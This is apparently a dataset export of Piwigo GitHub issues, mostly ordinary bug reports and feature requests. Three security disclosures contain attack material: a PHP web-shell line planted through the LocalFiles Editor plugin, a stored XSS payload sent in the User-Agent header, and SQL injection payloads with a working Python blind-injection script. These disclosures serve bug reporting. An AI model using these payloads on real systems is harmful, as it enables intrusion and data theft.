| 1,094,154,501 | 1,595 |
[
"Piwigo",
"Piwigo"
] |
By "fully private" I mean `$conf['guest_access'] = false;`. In that case, most administrators don't manage individual albums as private/public, they simply expect them to stay invisible for anonymous visitors on the login page.
It would be safer (more secure) to hide all menus, which may include the list of albums/tags...
|
hide menus for anonymous visitors when gallery is fully private
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1594/comments
| 0 |
2022-01-04T15:30:06Z
|
2022-01-04T15:33:13Z
|
https://github.com/Piwigo/Piwigo/issues/1594
| 1,093,468,142 | 1,594 |
[
"Piwigo",
"Piwigo"
] |
My env is as follows:
```
Piwigo 12.2.0
Operating system: Linux
PHP: 8.0.14 (Show info) [2022-01-03 00:15:10]
MySQL: 8.0.27 [2022-01-03 00:15:10]
Graphics Library: ImageMagick 6.9.12-32
Cache size 898.74 Mo calculated 1 month ago Refresh
```
I get the following errors in my php error log during the upgrade.
They also show up every time I go to or reload the Piwigo Administration Dashboard page.
```
[02-Jan-2022 23:39:14 Europe/Vienna] PHP Warning: [mysql error 1366] Incorrect string value: '\xD2)\x92\x11\x04d...' for column 'data' at row 1
REPLACE INTO piwigo_sessions
(id,data,expiration)
VALUES('25139hnbbq4iku4snfmvq3s2fj4d655v46bvqoanmr3fhi6otl19ri8q3ld987in1u8b','\0\0\0^B^T^F^Q^Qpwg_show_metadata^E^Q^Gpwg_uid^F^A^Q\npwg_device^Q^Gdesktop^Q^Tpwg_referer_image_id^Q^D2031^Q^Hpwg_caps^T^C^F\0^Q^A2^F^A^Q^D1755^F^B^Q^C999^Q^Ycache_activity_last_weeks^T^B^Q\rcalculated_on\na<D2>)<92>^Q^Ddata^T^A^F^C^T^A^F^G^T^C^Q^Gdetails^T^A^Q^DUser^T^B^Q^ELogin^Q^A1^Q^DEdit^Q^A3^Q^Fnumber^F^D^Q^Ddate^Q^USunday 2 January 2022',now())
; in /data/projects/piwigo/include/dblayer/functions_mysqli.inc.php on line 847
[02-Jan-2022 23:39:18 Europe/Vienna] PHP Warning: [mysql error 1366] Incorrect string value: '\xD2*\xC2\x11\x0FP...' for column 'data' at row 1
REPLACE INTO piwigo_sessions
(id,data,expiration)
VALUES('25139hnbbq4iku4snfmvq3s2fj4d655v46bvqoanmr3fhi6otl19ri8q3ld987in1u8b','\0\0\0^B^T^H^Q^Qpwg_show_metadata^E^Q^Gpwg_uid^F^A^Q\npwg_device^Q^Gdesktop^Q^Tpwg_referer_image_id^Q^D2031^Q^Hpwg_caps^T^C^F\0^Q^A2^F^A^Q^D1755^F^B^Q^C999^Q^Qneed_update12.2.0^D^Q^Vextensions_need_update^T\0^Q^Tincompatible_plugins^T^B^Q\n~~expire~~\na<D2>*<C2>^Q^OProtectedAlbums^Q^E0.5.b',now())
; in /data/projects/piwigo/include/dblayer/functions_mysqli.inc.php on line 847
[02-Jan-2022 23:39:52 Europe/Vienna] PHP Warning: [mysql error 1366] Incorrect string value: '\xD2)\xB8\x11\x04d...' for column 'data' at row 1
REPLACE INTO piwigo_sessions
(id,data,expiration)
VALUES('25139hnbbq4iku4snfmvq3s2fj4d655v46bvqoanmr3fhi6otl19ri8q3ld987in1u8b','\0\0\0^B^T^H^Q^Qpwg_show_metadata^E^Q^Gpwg_uid^F^A^Q\npwg_device^Q^Gdesktop^Q^Tpwg_referer_image_id^Q^D2031^Q^Hpwg_caps^T^C^F\0^Q^A2^F^A^Q^D1755^F^B^Q^C999^Q^Qneed_update12.2.0^D^Q^Vextensions_need_update^T\0^Q^Ycache_activity_last_weeks^T^B^Q\rcalculated_on\na<D2>)<B8>^Q^Ddata^T^A^F^C^T^A^F^G^T^C^Q^Gdetails^T^A^Q^DUser^T^B^Q^ELogin^Q^A1^Q^DEdit^Q^A3^Q^Fnumber^F^D^Q^Ddate^Q^USunday 2 January 2022',now())
; in /data/projects/piwigo/include/dblayer/functions_mysqli.inc.php on line 847
[02-Jan-2022 23:40:11 Europe/Vienna] PHP Warning: [mysql error 1366] Incorrect string value: '\xD2*\xF7\x11\x0FP...' for column 'data' at row 1
REPLACE INTO piwigo_sessions
(id,data,expiration)
VALUES('25139hnbbq4iku4snfmvq3s2fj4d655v46bvqoanmr3fhi6otl19ri8q3ld987in1u8b','\0\0\0^B^T^H^Q^Qpwg_show_metadata^E^Q^Gpwg_uid^F^A^Q\npwg_device^Q^Gdesktop^Q^Tpwg_referer_image_id^Q^D2031^Q^Hpwg_caps^T^C^F\0^Q^A2^F^A^Q^D1755^F^B^Q^C999^Q^Qneed_update12.2.0^D^Q^Vextensions_need_update^T\0^Q^Tincompatible_plugins^T^B^Q\n~~expire~~\na<D2>*<F7>^Q^OProtectedAlbums^Q^E0.5.b',now())
; in /data/projects/piwigo/include/dblayer/functions_mysqli.inc.php on line 847
[02-Jan-2022 23:41:37 Europe/Vienna] PHP Warning: [mysql error 1366] Incorrect string value: '\xD2+L\x11\x0FP...' for column 'data' at row 1
REPLACE INTO piwigo_sessions
(id,data,expiration)
VALUES('25139hnbbq4iku4snfmvq3s2fj4d655v46bvqoanmr3fhi6otl19ri8q3ld987in1u8b','\0\0\0^B^T^H^Q^Qpwg_show_metadata^E^Q^Gpwg_uid^F^A^Q\npwg_device^Q^Gdesktop^Q^Tpwg_referer_image_id^Q^D2031^Q^Hpwg_caps^T^C^F\0^Q^A2^F^A^Q^D1755^F^B^Q^C999^Q^Qneed_update12.2.0^D^Q^Vextensions_need_update^T\0^Q^Tincompatible_plugins^T^B^Q\n~~expire~~\na<D2>+L^Q^OProtectedAlbums^Q^E0.5.b',now())
; in /data/projects/piwigo/include/dblayer/functions_mysqli.inc.php on line 847
[02-Jan-2022 23:41:47 Europe/Vienna] PHP Warning: [mysql error 1366] Incorrect string value: '\xD2+W\x11\x0FP...' for column 'data' at row 1
REPLACE INTO piwigo_sessions
(id,data,expiration)
VALUES('25139hnbbq4iku4snfmvq3s2fj4d655v46bvqoanmr3fhi6otl19ri8q3ld987in1u8b','\0\0\0^B^T^H^Q^Qpwg_show_metadata^E^Q^Gpwg_uid^F^A^Q\npwg_device^Q^Gdesktop^Q^Tpwg_referer_image_id^Q^D2031^Q^Hpwg_caps^T^C^F\0^Q^A2^F^A^Q^D1755^F^B^Q^C999^Q^Qneed_update12.2.0^D^Q^Vextensions_need_update^T\0^Q^Tincompatible_plugins^T^B^Q\n~~expire~~\na<D2>+W^Q^OProtectedAlbums^Q^E0.5.b',now())
; in /data/projects/piwigo/include/dblayer/functions_mysqli.inc.php on line 847
[02-Jan-2022 23:42:00 Europe/Vienna] PHP Warning: Undefined array key "U_RETURN" in /data/projects/piwigo/_data/templates_c/1nje60e^8e42a03cd9623381452c626db0710cded44636ed_0.file.header.tpl.php on line 104
[02-Jan-2022 23:42:00 Europe/Vienna] PHP Warning: Attempt to read property "value" on null in /data/projects/piwigo/_data/templates_c/1nje60e^8e42a03cd9623381452c626db0710cded44636ed_0.file.h
eader.tpl.php on line 104
[02-Jan-2022 23:42:00 Europe/Vienna] PHP Warning: Undefined array key "USERNAME" in /data/projects/piwigo/_data/templates_c/1nje60e^8e42a03cd9623381452c626db0710cded44636ed_0.file.header.tpl.
php on line 112
[02-Jan-2022 23:42:00 Europe/Vienna] PHP Warning: Attempt to read property "value" on null in /data/projects/piwigo/_data/templates_c/1nje60e^8e42a03cd9623381452c626db0710cded44636ed_0.file.h
eader.tpl.php on line 112
```
|
mysql error 1366
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1593/comments
| 1 |
2022-01-02T23:17:17Z
|
2022-01-19T20:40:52Z
|
https://github.com/Piwigo/Piwigo/issues/1593
| 1,092,122,527 | 1,593 |
[
"Piwigo",
"Piwigo"
] |
If one has `$conf['tag_url_style'] = 'tag';` configured, then under Admin -> Photos -> Keywords, for any keyword selecting "View in gallery" generates an URL with id-tag for which no results are displayed.
The cause is in admin/themes/default/template/tags.tpl where there is
`tag_U_VIEW = 'index.php?/tags/%s-%s'|@sprintf:$tag['id']:$tag['url_name']`
Changing that to
`tag_U_VIEW = 'index.php?/tags/%s'|@sprintf:$tag['url_name']`
makes things work for this scenario, but of course that is only a workaround equally hardwired and wrong for other tag_url_style configurations. A solution would have to take the different configuration values into account.
|
Tag Manager "View in gallery" does not work with `$conf['tag_url_style'] = 'tag'`
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1592/comments
| 0 |
2022-01-02T17:24:06Z
|
2022-01-02T17:24:06Z
|
https://github.com/Piwigo/Piwigo/issues/1592
| 1,092,063,445 | 1,592 |
[
"Piwigo",
"Piwigo"
] |
With Piwigo 12 (and also in 11), we now have an automatic link to the configuration page of the plugin, with pattern `admin.php?page=plugin-<pluginID>`. It supposes:
1. the plugin has an `admin.php` file at the root of the plugin directory
2. the plugin ID (ie folder name) has no dash in its name
We have 2 (very popular) plugins having a dash in their ID : piwigo-videojs and piwigo-openstreetmap. Renaming a plugin ID is very complicated due to upgrade issues. So I propose to have a specific processing for those 2 (and strongly discourage to use a dash in plugin ID for future plugins)
|
[12.x] incompatibility with openstreetmap/videojs plugins
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1591/comments
| 0 |
2021-12-30T15:53:12Z
|
2021-12-30T15:57:32Z
|
https://github.com/Piwigo/Piwigo/issues/1591
| 1,091,181,724 | 1,591 |
[
"Piwigo",
"Piwigo"
] | null |
[Maintenance page] Advanced features are not handled
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1590/comments
| 0 |
2021-12-29T12:29:41Z
|
2022-01-01T20:15:55Z
|
https://github.com/Piwigo/Piwigo/issues/1590
| 1,090,488,651 | 1,590 |
[
"Piwigo",
"Piwigo"
] |
I just set up a brand-new, self-hosted Piwigo instance (this was shockingly hard, by the way!), and the Users table wasn't loading correctly in the admin interface. There was this error in the network tab:
```
Warning: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'groups WHERE name LIKE '%%'' at line 1
SELECT id FROM groups WHERE name LIKE '%%'; in /data/www/default/photos/include/dblayer/functions_mysqli.inc.php on line 847
Fatal error: Uncaught Error: Call to a member function fetch_assoc() on bool in /data/www/default/photos/include/dblayer/functions_mysqli.inc.php:211 Stack trace: #0 /data/www/default/photos/include/ws_functions/pwg.users.php(49): pwg_db_fetch_assoc(false) #1 /data/www/default/photos/include/ws_core.inc.php(600): ws_users_getList(Array, Object(PwgServer)) #2 /data/www/default/photos/include/ws_protocols/rest_handler.php(41): PwgServer->invoke('pwg.users.getLi...', Array) #3 /data/www/default/photos/include/ws_core.inc.php(281): PwgRestRequestHandler->handleRequest(Object(PwgServer)) #4 /data/www/default/photos/ws.php(22): PwgServer->run() #5 {main} thrown in /data/www/default/photos/include/dblayer/functions_mysqli.inc.php on line 211
```
After following that stack trace to [this line](https://github.com/Piwigo/Piwigo/blob/master/include/ws_functions/pwg.users.php#L47), I fixed it by adding my database name to the query. Should Piwigo USE the database before calling this? Or is there some config I can add so mysqld always USEs the correct database?
|
Can't view users
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1589/comments
| 1 |
2021-12-28T19:43:22Z
|
2021-12-28T19:53:53Z
|
https://github.com/Piwigo/Piwigo/issues/1589
| 1,090,093,640 | 1,589 |
[
"Piwigo",
"Piwigo"
] |
Even though it is not yet widely supported, [JPEG XL](https://jpeg.org/jpegxl/) appears to be game-changing and it offers unprecedented quality and compression.
If Piwigo implemented it using the [standard library](https://github.com/libjxl/libjxl) it would be extremely appealing cutting-edge tech that mainstream system do not support yet.
|
Add support for JPEG XL
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1588/comments
| 1 |
2021-12-28T14:29:48Z
|
2021-12-29T19:19:55Z
|
https://github.com/Piwigo/Piwigo/issues/1588
| 1,089,934,390 | 1,588 |
[
"Piwigo",
"Piwigo"
] |
When using the Piwigo NG app, we upload photos with the `pwg.images.uploadAsync` method. This method is "self-identified", meaning it performs a login each time it's called. It generates many logins in the activities.

In this example, for 2 photos uploaded, we have 9 logins (9 chunks of photos). We should avoid registering a login activity when calling this API method.
|
upload with Piwigo NG generates too many activities
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1587/comments
| 0 |
2021-12-22T18:50:23Z
|
2021-12-23T16:56:42Z
|
https://github.com/Piwigo/Piwigo/issues/1587
| 1,087,090,358 | 1,587 |
[
"Piwigo",
"Piwigo"
] |
My Piwigo automatically updated to version 12.1.0 and after that i have a trouble with recent cats (my home page). There is no sort order. Before they where displayed from newest to oldest with limit 40 albums.
In my local config (LocalFiles Editor plugin):
```
$conf['order_by_custom'] = ' ORDER BY date_creation DESC, file DESC, id DESC';
```
but it's not working.
Below is my sql statements from admin debuger on home page (/recent_cats). There is no ORDER BY!
```sql
SELECT
id, name, permalink, nb_images, global_rank,
date_last, max_date_last, count_images, count_categories
FROM piwigo_categories INNER JOIN piwigo_user_cache_categories
ON id = cat_id and user_id = 1
WHERE
(id_uppercat is NULL)
;
SELECT SUBDATE(CURRENT_DATE,INTERVAL 7 DAY)
SELECT
c.*,
user_representative_picture_id,
nb_images,
date_last,
max_date_last,
count_images,
nb_categories,
count_categories
FROM piwigo_categories c
INNER JOIN piwigo_user_cache_categories ucc
ON id = cat_id
AND user_id = 1
WHERE date_last>=LEAST(SUBDATE(CURRENT_DATE,INTERVAL 7 DAY),SUBDATE('2021-12-19 22:02:34',INTERVAL 1 DAY))
SELECT
category_id,
MIN(date_creation) AS `from`,
MAX(date_creation) AS `to`
FROM piwigo_image_category
INNER JOIN piwigo_images ON image_id = id
WHERE category_id IN (18254,18255,18256,18257,18258,18259,18260,18261,18262,18263,18264,18265,18266,18267,18268,18269,18270,18271,18272,18273,18274,18275,18276)
GROUP BY category_id
;
SELECT *
FROM piwigo_images
WHERE id IN (418810,418846,418906,418925,418943,418973,418991,419053,419070,419087,419100,419109,419115,419123,419210,419232,419248,419269,419291,419338,419412,419414,419447)
;
```
|
Sort order in recent_cats
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1586/comments
| 0 |
2021-12-20T21:38:50Z
|
2021-12-20T21:38:50Z
|
https://github.com/Piwigo/Piwigo/issues/1586
| 1,085,226,174 | 1,586 |
[
"Piwigo",
"Piwigo"
] |
Greetings,
I am managing the Piwigo installation of a friend, and I noticed a rather critical issue with the account system:
When my friend currently logs into their account on their computer, whenever I visit the gallery the system thinks *I* am logged in as that person as well, despite not even knowing their credentials.
This has been reproduced several times with them logging in and out and me essentially having the same login state in my own completely unrelated browser, coming from a completely different IP/ISP.
Setup is NGINX on Debian. I don't know if the issue is new in 12.1 or has beeen present before already.
|
12.1.0 Account/Login false sharing bug
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1584/comments
| 1 |
2021-12-19T10:02:04Z
|
2021-12-19T10:17:46Z
|
https://github.com/Piwigo/Piwigo/issues/1584
| 1,084,059,290 | 1,584 |
[
"Piwigo",
"Piwigo"
] |
Yesterday I found xss in front-end, so I was wondering if the backend could execute the command
I found the place in the backend plugin that triggers command execution
first,we login into backend,and visit `http://apupig.top/admin.php?page=plugins&tab=new`
and download `LocalFiles Editor`

then click `Activate it now`

then click 1,2 in order, we will visit `http://xxx.xxx/admin.php?page=plugin-LocalFilesEditor`

we type ,then click save file
```php
system($_POST[1]);
```

we can find detail in `plugins/LocalFilesEditor/admin.php`

it just uses the function `stripslashes` to handle parameters without filtering dangerous functions
so we can rce!

|
[Version <= 12.1.0] backend plugin can trigger remote comand execution
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1583/comments
| 0 |
2021-12-16T01:27:26Z
|
2021-12-16T01:27:33Z
|
https://github.com/Piwigo/Piwigo/issues/1583
| 1,081,673,770 | 1,583 |
[
"Piwigo",
"Piwigo"
] |
I found that piwigo Front-End can trigger xss,it means when the system administrator can trigger xss after logging into the backend
Please see below for details of the analysis
at first,We found a global filter in `include/common.inc.php`

it just handle GET, POST, COOKIE,then we can think whether it can be broken through other parameters
Then I found out that piwigo records the user's login and logout process
Take the exit process as an example(The login is also the same),in `include/functions_user.inc.php`
```php
function logout_user()
{
global $conf;
trigger_notify('user_logout', @$_SESSION['pwg_uid']);
pwg_activity('user', @$_SESSION['pwg_uid'], 'logout');
$_SESSION = array();
session_unset();
session_destroy();
setcookie(session_name(),'',0,
ini_get('session.cookie_path'),
ini_get('session.cookie_domain')
);
setcookie($conf['remember_me_name'], '', 0, cookie_path(),ini_get('session.cookie_domain'));
}
```
After that, let's see what the `pwg_activity` function does in `include/functions.inc.php`
in this function,There is no filter parameter `$_SERVER['HTTP_USER_AGENT']`

then execute serialize and pwg_db_real_escape_string functions respectively

look at function(pwg_db_real_escape_string),it just prevent sql injection
```php
function pwg_db_real_escape_string($s)
{
return mysql_real_escape_string($s);
}
```
then we register a user`yyds\yyds`

then we click `logout`

then we just post like this,It is best to send more packages

```cmd
url:http://test.y4tacker.top/identification.php
User-Agent:"><script>alert(`Hacked By Y4tacker`)</script><"
POST:
username=yyds&password=yyds&redirect=%2F&login=submit
```
Next, after the system administrator has logged in,and visit `http://xxx/admin.php?page=user_activity`

and look it

|
[Version <= 12.1.0]XSS vulnerability in the frontend
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1582/comments
| 1 |
2021-12-15T13:48:11Z
|
2022-02-10T23:29:34Z
|
https://github.com/Piwigo/Piwigo/issues/1582
| 1,081,062,458 | 1,582 |
[
"Piwigo",
"Piwigo"
] |
I find that there is a sqli in piwigo again ,here are my descriptions;
At first we need to login and then we can Visit the website http://your-url/admin.php
then we need a Key Parameters called pwg_token,there are many ways to get a token
i visit http://your-url/admin.php?page=user_list
when we add a user ,we can easily get `pwg_token: 74f8cee948f86969b006037ca229d623`

let us start!
first of all,we find that in `include/common.inc.php`,it uses addslashes to deal with what we input,it may be a bad new if we want to exploit

but in fact
```
1.We can find a manageable parameter
2.This parameter is not wrapped with symbols such as '," and so on
```
then we may use it to implement malicious parameter escapes
Fortunately, I found,in`admin/batch_manager_global.php`,there is a parameter we can control without using function`check_input_parameter` ,it means We can control its value arbitrarily

Unfiltered parametersselection is spliced

ok,This parameter is not wrapped with `''`,`""`,it just a number,which means its sql may like this
```
SELECT xxx FROM piwigo_images WHERE id IN (1,2,3)
```
Since the page is not displayed back,I take the time blind approach
then if i just type`selection[]=1) union select 1,(if((select ascii(SUBSTR(database(),1,1))=116),0,1))%23`
i will get sql below,in this payload,if true,just execute sleep(3),else, do nothing
```
SELECT xxx FROM piwigo_images WHERE id IN (1) union select 1,(if((select ascii(SUBSTR(version(),sleep(3),1))=116),0,1))#)
```
To speed up the process, I wrote a script using the dichotomy
You just need to replace the url, cookie, token in it and modify the timeout with the actual
` r = requests.post(url, headers=headers, data=data,timeout=0.5)`
```python
#Author:Y4tacker
import requests
url = "http://xxx/admin.php?page=batch_manager_global"
token = "74f8cee948f86969b006037ca229d623"
cookie = "UM_distinctid=17d4aa810611b8-0b85fc0d8f86c6-978183a-13c680-17d4aa8106257f; CNZZDATA1280265406=1890594629-1637635066-%7C1637635066; csrf_27ef33=d1fdf26d; pwg_id=eda7pg1hfmnlpdauhsav7e2pf6; pwg_user_manager_view=line; pwg_album_manager_view=tile"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
headers = {
"Cookie": cookie
}
while head < tail:
mid = (head + tail) >> 1
payload = f'ascii(substr(version(),{i},1))>{mid}'
data = {
"selection[]": f"1) union select 1,(if((select {payload}),sleep(3),1))#",
"selectAction": "delete_derivatives",
"submit": "1",
"del_derivatives_type": "1",
"del_tags[]": "1",
"pwg_token": token
}
try:
r = requests.post(url, headers=headers, data=data,timeout=0.5)
tail = mid
except:
head = mid + 1
pass
if head != 32:
result += chr(head)
else:
break
print(result)
```
finaly just look at there

of course,not only `action=delete_derivatives`, but also elsewhere, not to be listed here,Only they are similar in principle
|
[Version <= 12.1.0]SQL injection
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1581/comments
| 0 |
2021-12-15T12:10:28Z
|
2021-12-15T12:19:55Z
|
https://github.com/Piwigo/Piwigo/issues/1581
| 1,080,963,953 | 1,581 |
[
"Piwigo",
"Piwigo"
] |
line 592/593.. and 783/784...
remplace by {html_options ... with data from $conf['available_permission_levels']
|
user_list.tpl
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1577/comments
| 3 |
2021-12-07T21:03:56Z
|
2022-04-26T11:10:30Z
|
https://github.com/Piwigo/Piwigo/issues/1577
| 1,073,753,510 | 1,577 |
[
"Piwigo",
"Piwigo"
] |
Hi,
Activating AMenuManager 3.2.15 causes an Error.
Clicking on 'Settings' displays the following Text on a white screen: Invalid URL - plugin AMenuManager not active
I'm working on:
Piwigo 12.1.0 Prüfen, ob eine neue Version verfügbar ist.
Betriebssystem: Linux
PHP: 7.4.26 (Info anzeigen) [2021-12-05 17:42:42]
MySQL: 5.7.36-1 [2021-12-05 17:42:42]
Grafikbibliothek: ImageMagick 6.9.10-23
Größe des Cache 18.76 Mo berechnet vor 1 Stunde Aktualisieren
Any suggestions?
Thx
|
Cannot activate AdvancedMenuManager 3.2.15.
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1576/comments
| 3 |
2021-12-05T16:43:57Z
|
2022-01-13T18:56:52Z
|
https://github.com/Piwigo/Piwigo/issues/1576
| 1,071,503,671 | 1,576 |
[
"Piwigo",
"Piwigo"
] |
When unlocking the gallery, the confirm message asks us if we want to lock the gallery...
|
[12.x] Unlock gallery message is wrong
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1574/comments
| 0 |
2021-11-30T12:50:46Z
|
2022-01-01T20:16:13Z
|
https://github.com/Piwigo/Piwigo/issues/1574
| 1,067,199,400 | 1,574 |
[
"Piwigo",
"Piwigo"
] |
When we search an album and we want to edit one of the albums in results, the btn redirects to the parent of the clicked album.
We want to go directly on the clicked album and not on his parent.
|
[12.x] Album search edit btn doesn't link tothe right album
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1573/comments
| 0 |
2021-11-29T12:31:55Z
|
2022-01-01T20:16:28Z
|
https://github.com/Piwigo/Piwigo/issues/1573
| 1,065,983,949 | 1,573 |
[
"Piwigo",
"Piwigo"
] |
I'm try to create an album with the name
```
Vacances d'été à la montagne
```
And it seems the quote breaks the request now. I have some album with quote created with piwigo 11.
I'm using mysqli.
Here the error I see on the page:
```
Warning: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'été à la montagne','0','16.0','true','true','private','689')' at line 3
INSERT INTO `piwigo_categories`
(`name`,`rank`,`global_rank`,`commentable`,`visible`,`status`,`id_uppercat`)
VALUES('Vacances d'été à la montagne','0','16.0','true','true','private','689') in /app/include/dblayer/functions_mysqli.inc.php on line 847
Warning: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')
AND status = 'private'' at line 3
SELECT id
FROM piwigo_categories
WHERE id IN ()
AND status = 'private'
; in /app/include/dblayer/functions_mysqli.inc.php on line 847
Fatal error: Uncaught Error: Call to a member function fetch_assoc() on bool in /app/include/dblayer/functions_mysqli.inc.php:908 Stack trace:
#0 /app/admin/include/functions.php(2879): query2array()
#1 /app/admin/include/functions.php(1583): add_permission_on_category()
#2 /app/admin/cat_list.php(163): create_virtual_category()
#3 /app/admin.php(314): include('...')
#4 {main} thrown in /app/include/dblayer/functions_mysqli.inc.php on line 908
```
As far as I can see, the parameters that come from the browser are injected like that in the query with no protection.
I think the best would be to use binding when doing query, this is dangerous !
|
[12.x] synchronisation, quote not supported in album name
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1572/comments
| 17 |
2021-11-25T19:21:13Z
|
2022-03-08T12:45:57Z
|
https://github.com/Piwigo/Piwigo/issues/1572
| 1,063,876,461 | 1,572 |
[
"Piwigo",
"Piwigo"
] |
Plugin Prepaid Credits adds 2 actions to apply to a list of users : add and remove credits. They correctly appear in the action list but they cannot be used:
> Unexpected action
Piwigo core must permit plugins to add user batch actions.
|
[12.x, user manager] batch actions can't be extended
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1571/comments
| 0 |
2021-11-25T14:05:18Z
|
2022-06-29T10:33:53Z
|
https://github.com/Piwigo/Piwigo/issues/1571
| 1,063,630,694 | 1,571 |
[
"Piwigo",
"Piwigo"
] |
If the parent album of a related album is in several languages (thanks to plugin Extended Description) it is not correctly rendered.
|
related albums and multilingual names
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1570/comments
| 0 |
2021-11-25T10:56:44Z
|
2021-11-25T11:41:27Z
|
https://github.com/Piwigo/Piwigo/issues/1570
| 1,063,437,196 | 1,570 |
[
"Piwigo",
"Piwigo"
] | null |
[12.x] Unseting group being group by default causes infinite spin
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1569/comments
| 0 |
2021-11-24T09:54:48Z
|
2022-01-01T20:16:44Z
|
https://github.com/Piwigo/Piwigo/issues/1569
| 1,062,216,250 | 1,569 |
[
"Piwigo",
"Piwigo"
] |
Hi,
when I am creating a new template extension via LocalFiles Editor and selecting Parent directory, this selection of parent directory is then ignored with actual save of this template extension.
**Here are picures:**
Create new file while selecting Parent directory:

Editing the template before saving shows correct Parent directory:

File saved, but the Parent directory was ignored. File saved in the root folder called template-extensions:

When checking FTP folders, it is indeed saved into template-extensions folder, ignoring selected Parent directory:

**Piwigo version 12.1**
|
Saving new Template extension via LocalFiles Editor ignores selected Parent directory
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1568/comments
| 0 |
2021-11-23T11:33:53Z
|
2021-11-23T11:35:10Z
|
https://github.com/Piwigo/Piwigo/issues/1568
| 1,061,151,743 | 1,568 |
[
"Piwigo",
"Piwigo"
] |
Currently, the badges of the plugins filters don't update with search inputs which causes some incomprehension for the user
|
[12.x] Plugins badges don't update with search inpts
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1567/comments
| 0 |
2021-11-22T10:14:12Z
|
2022-01-01T20:17:00Z
|
https://github.com/Piwigo/Piwigo/issues/1567
| 1,059,951,650 | 1,567 |
[
"Piwigo",
"Piwigo"
] |
When there is an issue on a server like for example a problem in the database, the server returns a message in HTML together with the JSON object returned by the called API method. The message is often placed before the JSON object but also sometimes after.
What would be expected is that the API methods only return JSON objects. The server should also collect, store and send the messages to the admin.
|
[BUG] API methods return warnings and error messages in HTML before/after JSON object
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1566/comments
| 1 |
2021-11-21T21:56:44Z
|
2021-11-22T19:41:55Z
|
https://github.com/Piwigo/Piwigo/issues/1566
| 1,059,497,467 | 1,566 |
[
"Piwigo",
"Piwigo"
] |
Hi everyone !
I have recently been developing my own Android application for Piwigo, since I wanted to add features a bit different from those present in the current app.
I realized that in order to sync the changes between app and server, (e.g. to get recently added/deleted/moved photos), I need to call pwg.categories.getList and pwg.categories.getImages for all categories and all pictures all the time.
I think it would be really useful if we had an option to request IDs of pictures and categories that have been modified since the last sync date. It could be an additional parameter 'f_min_date_modified' in methods pwg.categories.getList and pwg.categories.getImages ?
This way we could call this methods regularly in a background thread with quick response and low amount of data, and quickly know when there are new changes to apply. We could also keep a local database of all the categories and pictures, and update it by asking all the IDs that were modified since last change.
Let me know if you think it makes sens, or if there's already an efficient way to do this that I missed :) Thanks !
|
[Web API] Request pictures/categories modified since last sync
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1565/comments
| 0 |
2021-11-21T17:13:25Z
|
2021-11-22T23:06:35Z
|
https://github.com/Piwigo/Piwigo/issues/1565
| 1,059,434,198 | 1,565 |
[
"Piwigo",
"Piwigo"
] |
Many thanks for your work on piwigo.
I had a small template extension in place. Since upgrade to 12.1, it disappeared. I didn't fount how to recover it.
Is that feature been dropped?
Best regards.
|
Template extensions vanished?
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1564/comments
| 4 |
2021-11-20T20:19:38Z
|
2021-12-31T15:28:42Z
|
https://github.com/Piwigo/Piwigo/issues/1564
| 1,059,222,040 | 1,564 |
[
"Piwigo",
"Piwigo"
] |
The group manager is broken with Piwigo 11 in spanish (es_ES) : a simple matter of escaping quotes in language strings.
|
[11.x] group manager broken in spanish (es_ES)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1563/comments
| 0 |
2021-11-18T17:01:28Z
|
2021-11-18T17:01:28Z
|
https://github.com/Piwigo/Piwigo/issues/1563
| 1,057,586,353 | 1,563 |
[
"Piwigo",
"Piwigo"
] |
Piwigo 12.1.0
Operating system: Linux
PHP: 8.0.13 (Show info)
MySQL: 8.0.27
Graphics Library: ImageMagick 6.9.12-28
Cache size 895.58 Mo calculated 3 hours ago Refresh
The error message `Warning: Undefined array key "COMMENT_COUNT"...` shows on every image page. Example [here](https://gallery.evermeet.cx/picture/496/category/69).
Also, the cache size shows as unit `Mo`. As soon as I click on `Refresh` it shows `MB`. But then, when I reload the page, it says `Mo` again. Hmmm, not really important, but interesting.
|
Warning: Undefined array key "COMMENT_COUNT"
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1562/comments
| 0 |
2021-11-18T07:08:24Z
|
2021-11-18T07:08:24Z
|
https://github.com/Piwigo/Piwigo/issues/1562
| 1,057,012,767 | 1,562 |
[
"Piwigo",
"Piwigo"
] |
Hello,
I'm migrating my piwigo from local mysql to a managed one on OVH public cloud
The backup and import is ok,
I'm able to login but when i try to go in one of my gallery, i get that error :
```
Warning: [mysql error 3065] Expression #1 of ORDER BY clause is not in SELECT list, references column 'grim_piwigo.piwigo_images.date_available' which is not in SELECT list; this is incompatible with DISTINCT
SELECT DISTINCT(image_id)
FROM piwigo_image_category
INNER JOIN piwigo_images ON id = image_id
WHERE
category_id = 1
ORDER BY date_available DESC, file ASC, id ASC
; in /config/www/gallery/include/dblayer/functions_mysqli.inc.php on line 847
